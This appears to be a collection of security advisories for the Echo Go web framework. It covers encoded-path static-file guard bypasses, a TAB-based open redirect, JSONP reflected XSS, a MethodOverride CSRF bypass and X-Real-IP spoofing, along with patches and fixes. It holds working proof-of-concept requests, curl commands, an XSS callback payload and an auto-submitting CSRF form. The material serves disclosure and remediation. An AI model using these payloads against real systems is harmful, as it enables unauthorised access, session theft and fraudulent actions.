Policy and version checks

GitHub Private Vulnerability Reporting is enabled for labstack/echo. The repository has a root SECURITY.md and accepts security reports through GitHub Security Advisories.

The vulnerable code was revalidated on both current master and the latest release tag:

• Current master: 5786024ea4d85c01784796e8aa7aac53e007b39b
• Latest release: v5.2.0, published June 14 2026
• Package: github.com/labstack/echo/v5

The same focused Go tests pass on the checked out v5.2.0 / master commit, proving the bypass remains present in the latest released version and latest main branch at the time of reporting.

Reproduction

The following application shape reproduces the high-severity bypass:

e := echo.New()

g := e.Group("/admin", func(next echo.HandlerFunc) echo.HandlerFunc {
    return func(c echo.Context) error {
        return echo.NewHTTPError(http.StatusForbidden)
    }
})
g.GET("/*", handler)

e.StaticFS("/", fsysWithAdminSecret)

Control request:

GET /admin/secret.txt

Observed result:

403 Forbidden

Bypass request:

GET /public/%2E%2E/admin/secret.txt

Observed result:

200 OK
TOP-SECRET

For the non-default router variant:

e := echo.New()
e.router = echo.NewRouter(echo.RouterConfig{
    UseEscapedPathForMatching: true,
})

g := e.Group("/admin", authMiddlewareReturning403)
g.GET("/*", handler)

e.StaticFS("/", fsysWithAdminSecret)

Bypass request:

GET /public%2F..%2Fadmin%2Fsecret.txt

Observed result:

200 OK
TOP-SECRET

Proof of concept evidence

I added focused tests against the current Echo codebase. The tests exercise both StaticDirectoryHandler and the static middleware path.

Command:

go test -run TestHostile -v ./...

Observed result:

=== RUN   TestHostile_StaticDirectoryHandler_EncodedSeparatorsBlocked
--- PASS: TestHostile_StaticDirectoryHandler_EncodedSeparatorsBlocked (0.00s)
=== RUN   TestHostile_StaticDirectoryHandler_EncodedDotDotBypass
--- PASS: TestHostile_StaticDirectoryHandler_EncodedDotDotBypass (0.00s)
=== RUN   TestHostile_UseEscapedPathForMatching_Bypass
--- PASS: TestHostile_UseEscapedPathForMatching_Bypass (0.00s)
PASS
ok  github.com/labstack/echo/v5  0.013s
=== RUN   TestHostile_StaticMiddleware_EncodedSeparatorsBlocked
--- PASS: TestHostile_StaticMiddleware_EncodedSeparatorsBlocked (0.01s)
=== RUN   TestHostile_StaticMiddleware_EncodedDotDotBypass
--- PASS: TestHostile_StaticMiddleware_EncodedDotDotBypass (0.00s)
=== RUN   TestHostile_StaticMiddleware_DisablePathUnescaping
--- PASS: TestHostile_StaticMiddleware_DisablePathUnescaping (0.00s)
PASS
ok  github.com/labstack/echo/v5/middleware  0.012s

The control tests also confirm that the new fix blocks encoded separators such as %2F, %5C, double-encoded slash values, null bytes, and overlong slash encodings.

Root cause

The fix for GHSA-vfp3 uses a denylist-style guard that checks for encoded path separators before unescaping the static wildcard. This blocks %2F and %5C, but does not block encoded traversal segments such as %2E%2E.

The vulnerable flow is:

1. The static route wildcard accepts public/%2E%2E/admin/secret.txt.
2. The encoded-separator guard sees no %2F or %5C and allows the request.
3. The handler unescapes the wildcard to public/../admin/secret.txt.
4. path.Clean resolves it to admin/secret.txt.
5. The file is served through the public static route instead of the protected /admin/* route.

For UseEscapedPathForMatching=true, the router decodes the path before the static handler sees the wildcard, so the handler cannot detect that encoded separators were used in the original request.

Remediation

Do not rely only on detecting encoded separators. Reject encoded traversal sequences before unescaping, and reject normalized wildcard values that cross route or static mount boundaries.

Possible fixes:

1. Extend the pre-unescape guard to reject encoded dot segments such as %2E and %2E%2E in path components.
2. After unescaping, reject any wildcard where cleaning changes the path in a way that removes . or .. components.
3. For UseEscapedPathForMatching=true, run the static-file guard against the original escaped request path before router normalization, or preserve metadata that the matched wildcard came from encoded separators.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. The Static middleware and StaticDirectoryHandler (used by Echo.Static, Echo.StaticFS, Group.Static and Group.StaticFS) no longer serve paths with a ., .. or empty segment, including after path unescaping. The encoded variant of the first vector (/public/%2E%2E/admin/secret.txt) was already fixed in v5.2.1 and v4.15.4 (GHSA-vfp3-v2gw-7wfq).

Workarounds

Put a reverse proxy in front of the application that normalizes request paths (removes dot segments and merges slashes), or keep protected files outside the served directory.

Summary

Commit a9ede66a (PR #3006, issue #2599) silently fixed a path traversal vulnerability in the Echo web framework's static file middleware.

Vulnerability

The static middleware double-unescaped URL paths. Go's net/http already decodes Request.URL.Path, but middleware/static.go unconditionally called url.PathUnescape() again:

// BEFORE (vulnerable)
pathUnescape := true

This reassembled path traversal sequences from double-encoded input. An attacker could send GET /%2e%2e%2fsecret.txt or /..%252fsecret.txt and the double-unescape would produce ../secret.txt.

Fix

// AFTER (fixed)
pathUnescape := false

The commit's test TestStatic_percentEncodedTraversalIsBlocked explicitly verifies traversal vectors are blocked.

Impact

Arbitrary file read from server filesystem via percent-encoded path traversal.

References

• Fix: https://github.com/labstack/echo/commit/a9ede66a
• Issue: https://github.com/labstack/echo/issues/2599
• PR: https://github.com/labstack/echo/pull/3006

Patches

Fixed in github.com/labstack/echo/v5 v5.2.0 and github.com/labstack/echo/v4 v4.15.3, where the Static middleware stopped unescaping an already decoded path. Maintainer analysis: reading files outside the configured root could not be reproduced; the confirmed impact was that a double-encoded slash (%252F) could reach a file under a guarded route when the Static middleware is registered globally. Upgrade to v5.4.0 / v4.16.0 or later, which also includes related fixes for encoded and dot-segment paths.

Workarounds

Keep files that need protection outside the Static middleware's root directory.

Summary

Echo's dedicated open-redirect guard, sanitizeURI, decides whether a redirect target is a local path by inspecting exactly two byte positions: uri[0] and uri[1]. If the value begins with a control character such as a tab or a newline, followed by a separator pair, the guard does not fire and the value is written to the Location header unchanged.

Browsers remove tab and newline characters from URLs before parsing them, and treat a backslash as a forward slash for HTTP and HTTPS URLs. A Location value of /\t/attacker.example is therefore resolved by the browser as an absolute URL on attacker.example. Confirmed end to end in a headless browser.

Technical background

The guard

middleware/slash.go:144 (duplicated verbatim at echo.go:958):

func sanitizeURI(uri string) string {
	// double slash `\\`, `//` or even `\/` is absolute uri for browsers and by redirecting request to that uri
	// we are vulnerable to open redirect attack. so replace all slashes from the beginning with single slash
	if len(uri) > 1 && (uri[0] == '\\' || uri[0] == '/') && (uri[1] == '\\' || uri[1] == '/') {
		uri = "/" + strings.TrimLeft(uri, `/\`)
	}
	return uri
}

The condition is anchored at absolute offsets 0 and 1. It cannot see a separator that has been shifted by one byte.

Data flow

1. RemoveTrailingSlash (middleware/slash.go:112-140) reads url.Path, which net/http has already percent-decoded, strips the trailing slash, and appends the raw query string:

path := url.Path
...
if l > 0 && strings.HasSuffix(path, "/") {
    path = path[:l]
    uri := path
    if qs != "" {
        uri += "?" + qs
    }
    if config.RedirectCode != 0 {
        return c.Redirect(config.RedirectCode, sanitizeURI(uri))   // line 132
    }

2. AddTrailingSlash does the same in the opposite direction at middleware/slash.go:67.

3. A request for /%09/attacker.example/x/ has url.Path equal to "/\t/attacker.example/x/" (a literal TAB byte). sanitizeURI evaluates uri[0] == '\t', the condition is false, and the value passes through untouched.

4. Context.Redirect (context.go:735) writes it to the Location header. Go's header writer removes CR and LF but leaves TAB, which is all that is required.

Conditional analysis

• Guard: uri[0] and uri[1] are separators. Trust boundary: server-side sanitization of attacker-influenced path data.
• Bypass: place a single control byte before the separator pair. The separator moves to index 1 and the guard's second condition (uri[1] being a separator) is never reached because the first condition (uri[0] being a separator) already failed.
• Browser-side trust boundary: the client's URL parser. It is adversary favourable: control characters are stripped and backslashes are normalized before scheme and authority parsing. The attacker does not need any server-side weakness beyond producing the malformed Location.

Note that the newline variant does not survive: net/http replaces CR and LF in header values. TAB does survive, and TAB alone is sufficient because the browser strips it.

Proof of concept

Attached PoC: ECHO-2026-002_poc.zip (in this directory). Extract it and follow ECHO-2026-002/README.md for the full walkthrough. The archive contains a self-contained Go module (go.mod, go.sum, main.go, README.md).

ECHO-2026-002_poc.zip

Quick start:

unzip ECHO-2026-002_poc.zip
cd ECHO-2026-002
# edit go.mod: point the replace directive at your Echo checkout
sed -i 's|=> .*|=> /absolute/path/to/echo|' go.mod
GOFLAGS=-mod=mod go run .          # in-process check
GOFLAGS=-mod=mod go run . -serve   # real listener on 127.0.0.1:18002

Environment used for verification

• OS: Linux 6.18.33.2-microsoft-standard-WSL2, x86_64
• Go: go1.27.0 linux/amd64
• Target: Echo v5.3.1 (module github.com/labstack/echo/v5)
• Browser: headless Chromium drove the end-to-end confirmation

The vulnerable configuration

package main

import (
    "net/http"

    "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    e := echo.New()
    e.Pre(middleware.RemoveTrailingSlashWithConfig(middleware.RemoveTrailingSlashConfig{
        RedirectCode: http.StatusMovedPermanently,
    }))
    e.GET("/", func(c *echo.Context) error { return c.String(200, "home") })
    _ = e.Start("127.0.0.1:18002")
}

Reproduction

In-process check. The program requests five path shapes and applies the browser URL-parsing steps that matter (strip TAB, LF, CR; treat a backslash as a slash; a leading // starts an authority):

GOFLAGS=-mod=mod go run .

GET                          code   Location (control chars shown) browser navigates to
/normal/path/                301    /normal/path           (victim origin)
                             control: ordinary path, sanitized correctly
/%09/attacker.example/x/     301    /^I/attacker.example/x attacker.example
                             exploit: TAB then slash
/%09%5Cattacker.example/x/   301    /^I\attacker.example/x attacker.example
                             exploit: TAB then backslash
/..%09/attacker.example/     301    /..^I/attacker.example (victim origin)
                             NOT exploitable: TAB is not at index 1
/%09//attacker.example/      301    /^I//attacker.example  (victim origin)
                             NOT exploitable: three slashes is an empty authority

RESULT: reproducible. ...

^I is a literal TAB byte. The last two rows are deliberate negatives, included so the mechanism (the guard reads only uri[0] and uri[1]) is unambiguous.

Over the wire, with the -serve variant running on 127.0.0.1:18002:

1. Show the malformed Location on the wire. No backslash is needed for this variant:

curl -s -i --max-time 5 'http://127.0.0.1:18002/%09/attacker.example/x/' | cat -A | head -3
# HTTP/1.1 301 Moved Permanently
# Location: /^I/attacker.example/x

cat -A renders the tab as ^I, confirming it is a literal byte in the header.

2. Show that LF does NOT work, which proves the mechanism is the guard's fixed byte offsets rather than generic header injection:

curl -s -i --max-time 5 'http://127.0.0.1:18002/%0A/attacker.example/x/' | cat -A | head -3
# Location: / /attacker.example/x     (net/http rewrote LF to a space)

3. Confirm a browser leaves the origin. Start any HTTP server on port 18099, then open this URL in a browser:

http://127.0.0.1:18002/%09/127.0.0.1:18099/x/

Observed in headless Chromium:

finalUrl: http://127.0.0.1:18099/x

The browser left the victim origin entirely, so this is a working open redirect, not merely a suspicious header.

Exit status 0 means the finding reproduced; 1 means an expectation was violated.

Impact

An attacker can craft a link on the victim domain that redirects the victim to an arbitrary external site. Practical consequences:

• Phishing: the trusted domain name appears in the link and in the initial navigation, which defeats the usual "check the domain" advice.
• OAuth and SSO token theft: any flow that permits a redirect target on the trusted origin and relies on that origin's redirects being local can be chained to leak authorization codes or access tokens.
• Referrer and cache poisoning of downstream logic that treats the victim origin's redirects as trustworthy.

The client must follow the redirect (user interaction is required), which is why this is scored Medium rather than High, but open redirects on authentication-adjacent origins routinely escalate in practice.

Recommended fixes

Normalize before deciding, instead of probing two fixed offsets.

func sanitizeURI(uri string) string {
	// Strip control characters that browsers remove before parsing, so they cannot
	// be used to shift a separator out of the checked positions.
	uri = strings.Map(func(r rune) rune {
		if r < 0x20 || r == 0x7f {
			return -1
		}
		return r
	}, uri)
	// Collapse any leading separator run (both slash kinds) to a single slash.
	if strings.ContainsAny(uri[:min(len(uri), 1)], `/\`) {
		trimmed := strings.TrimLeft(uri, `/\`)
		if len(trimmed) != len(uri) {
			return "/" + trimmed
		}
	}
	return uri
}

Additional hardening:

1. Reject the request with 400 when the decoded path contains control characters, rather than attempting to sanitize. A path containing a raw TAB or NUL is malformed under RFC 3986 and has no legitimate use.
2. Apply the same normalization to the Location value in Context.Redirect so every caller benefits, instead of relying on each call site to call sanitizeURI.
3. Add a regression test for each variant (%09/, %09%5C, %0A/) against both trailing-slash middlewares. There is currently no test that asserts sanitizeURI behavior at all.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. The trailing slash middlewares and the static directory redirect percent-encode control characters in the redirect path before collapsing leading slashes, so a browser can no longer be sent to another host.

Workarounds

Use the trailing slash middlewares without RedirectCode (the default rewrites the path internally instead of redirecting), or reject request paths that contain control characters before these middlewares.

Summary

When middleware.Static is mounted globally (e.Use(middleware.Static(...))) and an application relies on a route- or group-level middleware guard to restrict a path that also falls under the served static root, a %2F-encoded request bypasses that guard while the file is still served. This is the same encoding/decoding mismatch fixed for StaticFS/StaticDirectoryHandler in CVE-2026-55677 / GHSA-vfp3-v2gw-7wfq, but the fix did not cover the middleware.Static path. In addition, the StaticConfig.EnablePathUnescaping docstring states the default configuration prevents exactly this bypass, which is inaccurate for the global-mount case.

This is not path traversal: no file outside the static root is accessed. The served file lives inside the static root; the issue is that access-control expectations set by a route guard are inconsistent between the literal and %2F-encoded forms of the same path.

Details

Root cause — the router and the static handler disagree on how to interpret %2F:

• The router matches routes on the raw, still-encoded path, so GET /admin%2Fsecret.txt does not match a /admin/... route or group; any middleware attached to that route/group is therefore skipped.
• middleware.Static selects its path source in middleware/static.go (~L219): with a global e.Use mount there is no wildcard route, so it uses c.Request().URL.Path, which net/http has already decoded (%2F → /). It then path.Cleans (~L235) and Opens (~L259) admin/secret.txt, serving the file.

Net effect: for the literal path the guard runs; for the %2F-encoded path the guard is skipped but the same file is served.

Relevant code:

• middleware/static.go ~L219 (p := c.Request().URL.Path), ~L235 (path.Clean), ~L259 (currentFS.Open)
• StaticConfig.EnablePathUnescaping docstring (static.go ~L60-67) — claims the default prevents the /admin%2fprivate.txt → /admin/* guard bypass; this is not true for the global mount.

Relationship to prior advisories:

• CVE-2026-55677 / GHSA-vfp3-v2gw-7wfq (patched 5.2.0): same %2F router-vs-handler mismatch, but fixed for StaticFS/StaticDirectoryHandler. The middleware.Static path was not covered — this report is that gap.
• CVE-2026-25766 / GHSA-pgvm-wxw2-hrv9 (patched 5.0.3): a different issue (Windows backslash traversal outside the root). Referenced only to disambiguate; not the same as this report.

PoC

Environment: golang:1.25, module using the official release (go get github.com/labstack/echo/v5@v5.3.1, no local replace). Static root public/ contains a marker file public/admin/secret.txt = SECRET.

Minimal app (the pattern under test: static served globally + a group guard intended to protect /admin):

package main

import (
	"net/http"

	"github.com/labstack/echo/v5"
	"github.com/labstack/echo/v5/middleware"
)

func main() {
	e := echo.New()
	e.Use(middleware.Static("public")) // serves ./public globally (default filesystem)

	admin := e.Group("/admin", func(next echo.HandlerFunc) echo.HandlerFunc {
		return func(c *echo.Context) error { return c.String(http.StatusUnauthorized, "auth required") }
	})
	admin.GET("/secret.txt", func(c *echo.Context) error { return c.String(http.StatusOK, "handler") })

	e.Start(":1323")
}

Requests (unauthenticated):

# Literal: route matches -> group guard runs
curl -i http://localhost:1323/admin/secret.txt
# => 401

# %2F-encoded: route does NOT match -> guard skipped, but middleware.Static serves the file
curl -i --path-as-is http://localhost:1323/admin%2Fsecret.txt
# => 200, body: SECRET

Observed on v5.3.1: literal → 401; %2F → 200 with the file contents. For contrast, serving via the (patched) e.StaticFS("/") returns 404 for the same %2F request, showing the middleware.Static path was not covered by the CVE-2026-55677 fix.

Impact

An unauthenticated remote user can retrieve a file served by middleware.Static even when the application attached a route/group middleware guard to that path, by substituting / with %2F. The consequence is limited to files already inside the served static root (CWE-863 authorization inconsistency; CWE-436 interpretation conflict) — there is no access to files outside the static root.

Honest caveat on validity / severity: this only has security impact for applications that (a) serve a directory statically to the public and (b) place a sensitive file inside that same directory while relying on a route-level guard to protect it. That combination is arguably a misconfiguration — a statically-served directory is public by design — so maintainers may reasonably classify this as a documentation fix (correct the EnablePathUnescaping claim) or won't-fix rather than a code vulnerability. It is filed primarily because (1) the router-vs-handler %2F inconsistency is the exact class fixed in CVE-2026-55677 but left uncovered for middleware.Static, and (2) the docstring currently promises protection it does not provide.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. With the default settings, the Static middleware resolves files from the same form of the path that the router matched, so percent-encoded paths such as /admin%2Fsecret.txt or /%61dmin/secret.txt no longer reach a file under a guarded route. Paths with ., .. or empty segments are no longer served.

Note: middleware registered with Echo#Use runs before route and group middleware, so route guards never protect files served by a global Static middleware. Keep protected files outside its root directory, or serve them with Echo#Static behind the guard.

Workarounds

Keep files that need protection outside the Static middleware's root directory.

Summary

The Context.JSONP, Context.JSONPBlob, and internal jsonPBlob helper in context.go directly concatenate the caller-supplied callback parameter into a JavaScript response without any validation, escaping, or allow-listing.

This creates a high-impact reflected XSS that can be triggered by any route passing attacker-controlled data (query string, form, header, path param, etc.) into the callback.

Present in current master and v5.1.0 (latest release).

Vulnerable Code (verbatim)

func (c *Context) jsonPBlob(code int, callback string, i any) (err error) {
	c.writeContentType(MIMEApplicationJavaScriptCharsetUTF8)
	c.response.WriteHeader(code)
	if _, err = c.response.Write([]byte(callback + "(")); err != nil {
		return
	}
	if err = c.echo.JSONSerializer.Serialize(c, i, ""); err != nil {
		return
	}
	if _, err = c.response.Write([]byte(");")); err != nil {
		return
	}
	return
}

func (c *Context) JSONP(code int, callback string, i any) (err error) {
	return c.jsonPBlob(code, callback, i)
}

func (c *Context) JSONPBlob(code int, callback string, b []byte) (err error) {
	c.writeContentType(MIMEApplicationJavaScriptCharsetUTF8)
	c.response.WriteHeader(code)
	if _, err = c.response.Write([]byte(callback + "(")); err != nil {
		return
	}
	if _, err = c.response.Write(b); err != nil {
		return
	}
	_, err = c.response.Write([]byte(");"))
	return
}

No sanitization is performed on the callback string.

Exploit (one-request repro)

Any route using the official pattern is vulnerable:

Goe.GET("/api", func(c echo.Context) error {
    return c.JSONP(200, c.QueryParam("callback"), map[string]string{"status": "ok"})
})

Attacker request:

GET /api?callback=alert(document.domain)%2f%2f HTTP/1.1
Host: target.com

Server response:

Content-Type: application/javascript; charset=utf-8

alert(document.domain)//({"status":"ok"});

→ Immediate arbitrary JavaScript execution (full reflected XSS).

Impact

• Session hijacking, cookie theft, account takeover, keylogging, defacement.
• Works even with strict CSP (response is served as application/javascript).

Affected Versions

• All versions ≤ v5.1.0 (including current master)

Workarounds

Manually sanitize the callback before calling JSONP/JSONPBlob:

Gofunc safeCallback(cb string) string {
    if matched, _ := regexp.MatchString(`^[a-zA-Z0-9_.\[\]]+$`, cb); !matched {
        return "callback"
    }
    return cb
}

Or migrate away from JSONP entirely (use CORS + application/json).

References

• https://github.com/labstack/echo/blob/master/context.go
• https://echo.labstack.com/docs/cookbook/jsonp

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. Context.JSONP and Context.JSONPBlob accept only a callback that is empty, a JavaScript identifier or a dot-separated path of identifiers (ASCII letters, digits, _ and $); any other callback returns a 400 Bad Request error wrapping ErrInvalidJSONPCallback and nothing is written. JSONP responses also carry X-Content-Type-Options: nosniff.

Workarounds

Validate the callback in your handler before calling Context.JSONP, for example against ^[A-Za-z_$][A-Za-z0-9_$]*(\.[A-Za-z_$][A-Za-z0-9_$]*)*$, and set X-Content-Type-Options: nosniff. JSONP responses can be read by any website with the user's cookies, so do not serve data that requires authentication through JSONP.

Summary

The MethodOverride middleware accepts any non-empty string as the override target method — including safe methods (GET, HEAD, OPTIONS, TRACE) — when rewriting a POST request. When MethodOverride is registered before CSRF in the post-routing middleware chain (e.Use()), it rewrites the request method to a safe method before CSRF evaluates it. The CSRF middleware then skips token validation for the now-safe method, allowing state-changing POST handlers to execute without any CSRF check. Both the legacy token path and the modern Sec-Fetch-Site protection path are bypassed simultaneously.

Affected Component

• middleware/method_override.go — MethodOverrideConfig.ToMiddleware() (lines 55–71): no whitelist on the override target method
• middleware/csrf.go — CSRFConfig.ToMiddleware() (lines 188–189): safe-method bypass branch reads the already-rewritten method
• middleware/csrf.go — checkSecFetchSiteRequest() (line 283): Sec-Fetch-Site safe check also reads the rewritten method

Description

MethodOverride accepts safe methods as override targets

MethodOverrideConfig.ToMiddleware() (method_override.go:55-71) restricts the source method (only POST requests are overrideable) but applies no whitelist to the target:

// method_override.go:61-67
req := c.Request()
if req.Method == http.MethodPost {
    m := config.Getter(c)
    if m != "" {
        req.Method = m   // ← any non-empty string accepted, including "GET"
    }
}

The docstring's security claim — "For security reasons, only POST method can be overridden" — refers only to the source-method restriction. There is no guard preventing POST from being rewritten to GET, HEAD, OPTIONS, or TRACE. The test suite (method_override_test.go) only tests POST→DELETE and POST→PUT; POST→GET is never tested or blocked.

CSRF safe-method branch reads the already-rewritten method

CSRFConfig.ToMiddleware() (csrf.go:188-189) makes its validation decision based on c.Request().Method at the time it runs:

// csrf.go:188-189
switch c.Request().Method {
case http.MethodGet, http.MethodHead, http.MethodOptions, http.MethodTrace:
    // skip validation — no token check
default:
    // validate CSRF token

If MethodOverride has already run and set req.Method = "GET", this switch falls into the skip branch regardless of the original HTTP method or what handler was matched.

The Sec-Fetch-Site-based path in checkSecFetchSiteRequest() (csrf.go:283) is identically vulnerable:

// csrf.go:283
isSafe := slices.Contains(safeMethods, c.Request().Method)

With req.Method = "GET" (already rewritten), isSafe = true and the function returns true — the request is allowed even when Sec-Fetch-Site is cross-site. Both CSRF protection paths are bypassed in a single step.

Execution chain

In echo.go:700, routing and middleware wrapping are performed in one step:

h = applyMiddleware(e.router.Route(c), e.middleware...)

1. e.router.Route(c) evaluates with req.Method = "POST" → matches and binds the POST /transfer handler
2. applyMiddleware wraps it: MethodOverride → CSRF → postHandler

At request execution time: 3. MethodOverride runs: req.Method == "POST" → reads form field _method = "GET" → req.Method = "GET" → calls next 4. CSRF runs: c.Request().Method = "GET" → case http.MethodGet → skips token validation → calls next 5. postHandler runs (the handler matched in step 1 — the original POST /transfer state-change handler)

The state-changing handler executes with no CSRF token validation and with no Sec-Fetch-Site check.

The missing target-method whitelist is the root cause

The legitimate use case for MethodOverride is allowing HTML forms (which only support GET/POST) to send PUT, DELETE, or PATCH requests. There is no legitimate scenario in which an HTML form needs to rewrite POST to GET — that can always be expressed as an ordinary GET request. Allowing POST→GET (and HEAD/OPTIONS/TRACE) serves no valid purpose and is inherently dangerous when any safe-method-aware security middleware (CSRF, logging, audit) appears downstream.

Proof of Concept

package main

import (
    "net/http"
    echo "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    e := echo.New()
    // MethodOverride before CSRF — both in e.Use() (post-routing)
    e.Use(middleware.MethodOverrideWithConfig(middleware.MethodOverrideConfig{
        Getter: middleware.MethodFromForm("_method"),
    }))
    e.Use(middleware.CSRF())
    e.POST("/transfer", func(c *echo.Context) error {
        return c.String(http.StatusOK, "transfer executed")
    })
    e.Logger.Fatal(e.Start(":18080"))
}

# Baseline — CSRF correctly blocks a POST without a valid token
curl -i -X POST 'http://127.0.0.1:18080/transfer' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'amount=100'
# HTTP/1.1 400 Bad Request (missing CSRF token)

# Bypass — _method=GET rewrites method before CSRF runs, skipping token validation
curl -i -X POST 'http://127.0.0.1:18080/transfer' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data '_method=GET&amount=100'
# HTTP/1.1 200 OK
# transfer executed

# Browser-based CSRF PoC (attacker's page, auto-submits on load):
# <form method="POST" action="https://victim.example/transfer" id="f">
#   <input name="_method" value="GET">
#   <input name="amount" value="1000">
#   <input name="to" value="attacker_account">
# </form>
# <script>document.getElementById('f').submit();</script>

The same bypass works with MethodFromHeader (X-HTTP-Method-Override: GET) and MethodFromQuery (?_method=GET).

Impact

• Any state-changing endpoint protected by CSRF() is reachable without a valid CSRF token when the vulnerable middleware ordering is present
• The Sec-Fetch-Site modern-browser CSRF protection is bypassed simultaneously — browsers that support Sec-Fetch-Site provide no additional defense
• Applicable attacks include: fund transfers, password/email changes, account deletion, privilege escalation, data manipulation — any POST-protected operation
• Audit logs may record GET as the HTTP method for what were actually state-changing operations

Recommended Remediation

Option 1: Whitelist only unsafe methods as override targets in MethodOverride (preferred)

The root cause is that MethodOverride accepts safe methods as targets. Restricting the override to legitimately overrideable methods (PUT, PATCH, DELETE) closes the bypass regardless of middleware ordering:

// method_override.go — illustrative fix
var allowedOverrideMethods = map[string]bool{
    http.MethodPut:    true,
    http.MethodPatch:  true,
    http.MethodDelete: true,
}

// in ToMiddleware:
if req.Method == http.MethodPost {
    m := config.Getter(c)
    if m != "" && allowedOverrideMethods[m] {
        req.Method = m
    }
}

Option 2: Use e.Pre() for MethodOverride and document the ordering requirement

Placing MethodOverride in e.Pre() (pre-routing middleware) causes the router to match the overridden method, not the original POST. If only POST /transfer is registered, a POST-to-GET override results in a 405/404 — the handler never executes. Add an explicit documentation warning that MethodOverride must not be placed in e.Use() when CSRF middleware is also registered:

// MethodOverride returns a MethodOverride middleware.
//
// IMPORTANT: Register this middleware with e.Pre(), not e.Use().
// If registered with e.Use() before CSRF middleware, method rewriting
// occurs after route matching but before CSRF validation, allowing
// attackers to bypass CSRF token checks by specifying _method=GET.
func MethodOverride() echo.MiddlewareFunc {

Option 1 is strongly preferred as it closes the vulnerability at the source and is safe regardless of middleware placement.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. The MethodOverride middleware no longer overrides a POST to GET, HEAD, OPTIONS, TRACE or CONNECT.

Workarounds

Register MethodOverride with Echo#Pre (as documented), register CSRF before MethodOverride, or use the default header getter (X-HTTP-Method-Override), which a cross-site form cannot set.

Summary

The Echo proxy middleware (middleware/proxy.go) preserves an incoming X-Real-IP header verbatim and forwards it to the upstream service when Echo#IPExtractor is not configured — which is the default. Because any HTTP client can supply an arbitrary X-Real-IP value, an attacker can cause Echo to relay a spoofed client IP address to every upstream service behind the proxy, undermining upstream IP-based access controls, rate limiting, audit logging, and geo-restriction.

Affected Component

• middleware/proxy.go — ProxyConfig.ToMiddleware(), header-rewriting block (lines 351–355)

Description

The header-preservation condition passes spoofed values to upstream

ProxyConfig.ToMiddleware() (proxy.go:338-405) prepares forwarding headers before dispatching each request. The X-Real-IP rewrite logic at lines 351-355 reads:

// proxy.go:351-355
// Basically it's not good practice to unconditionally pass incoming x-real-ip header to upstream.
// However, for backward compatibility, legacy behavior is preserved unless you configure Echo#IPExtractor.
if req.Header.Get(echo.HeaderXRealIP) == "" || c.Echo().IPExtractor != nil {
    req.Header.Set(echo.HeaderXRealIP, c.RealIP())
}

The condition is TRUE (and therefore overwrites the header with a derived value) only when:

• The header is absent — req.Header.Get(echo.HeaderXRealIP) == ""; or
• IPExtractor is explicitly configured — c.Echo().IPExtractor != nil

The condition is FALSE — and the header is left unchanged — when the request arrives with an X-Real-IP header already set and IPExtractor is nil. Because Echo.New() leaves IPExtractor as nil, this is the out-of-the-box behaviour for every application that uses Proxy() or ProxyWithConfig() without extra configuration.

An attacker who sets X-Real-IP to any value causes Echo to forward exactly that value to the upstream, with no modification or validation.

The comment in the source code confirms intent and the security gap

The inline comment at line 351-352 explicitly states:

"Basically it's not good practice to unconditionally pass incoming x-real-ip header to upstream. However, for backward compatibility, legacy behavior is preserved unless you configure Echo#IPExtractor."

The framework is aware that the default is insecure and retains it for backward compatibility. No warning appears in the Proxy() or ProxyWithConfig() documentation, so operators who follow the standard setup example receive a silently insecure proxy configuration.

This is structurally identical to the documented insecurity in ip.go:27:

"Note: if you don't set Echo#IPExtractor explicitly, Echo fallback to legacy behavior, which is not a good choice."

Full execution chain

1. Attacker sends GET /api/admin to the Echo proxy with header X-Real-IP: 203.0.113.1 (a trusted corporate IP)
2. ToMiddleware() evaluates the guard at line 353: header is present (!= ""), IPExtractor is nil → condition is FALSE
3. req.Header.Set is not called; the upstream request carries the original, attacker-supplied X-Real-IP: 203.0.113.1
4. Upstream service checks X-Real-IP against its IP allowlist → finds 203.0.113.1 → grants access
5. Attacker reaches an endpoint that should be restricted to the corporate IP range

Secondary impact path (audit poisoning):

• All upstream log entries, rate-limit counters, and geo-restriction checks are evaluated against 203.0.113.1 rather than the real client IP, rendering audit trails and security analytics unreliable.

Proof of Concept

package main

import (
    "fmt"
    "log"
    "net/http"
    echo "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    // Upstream server: echoes back the X-Real-IP it received
    upstream := http.NewServeMux()
    upstream.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprintf(w, "upstream sees X-Real-IP: %s\n", r.Header.Get("X-Real-IP"))
    })
    go http.ListenAndServe(":9000", upstream)

    // Echo proxy — IPExtractor deliberately NOT set (the default)
    e := echo.New()
    targets := []*middleware.ProxyTarget{{URL: mustParse("http://127.0.0.1:9000")}}
    e.Use(middleware.Proxy(middleware.NewRoundRobinBalancer(targets)))
    log.Fatal(e.Start(":1323"))
}

# Without spoofed header — upstream sees actual peer address
curl http://127.0.0.1:1323/
# upstream sees X-Real-IP: 127.0.0.1

# With spoofed header — upstream sees attacker-supplied value
curl -H 'X-Real-IP: 198.51.100.77' http://127.0.0.1:1323/
# upstream sees X-Real-IP: 198.51.100.77

The attacker-supplied IP 198.51.100.77 arrives at the upstream unchanged.

Impact

• Upstream IP-based access controls (allowlists, blocklists, geo-restrictions) can be bypassed by supplying the expected IP in X-Real-IP
• Upstream rate limiters that key on X-Real-IP are bypassable (same class as the Echo rate-limiter finding, now on every upstream service)
• Audit logs, intrusion detection systems, and SIEM tools that rely on X-Real-IP record the attacker-chosen IP, not the real source — forensic trails are poisoned
• Any upstream admin endpoint restricted by IP allowlist is reachable by any attacker who knows or guesses a trusted IP address

Recommended Remediation

Option 1: Always overwrite X-Real-IP from an authoritative source (preferred)

Remove the conditional that preserves the incoming header. Echo, as the edge proxy, is the only authoritative source for the real client IP:

// proxy.go — always set X-Real-IP from an authoritative source
req.Header.Set(echo.HeaderXRealIP, c.RealIP())

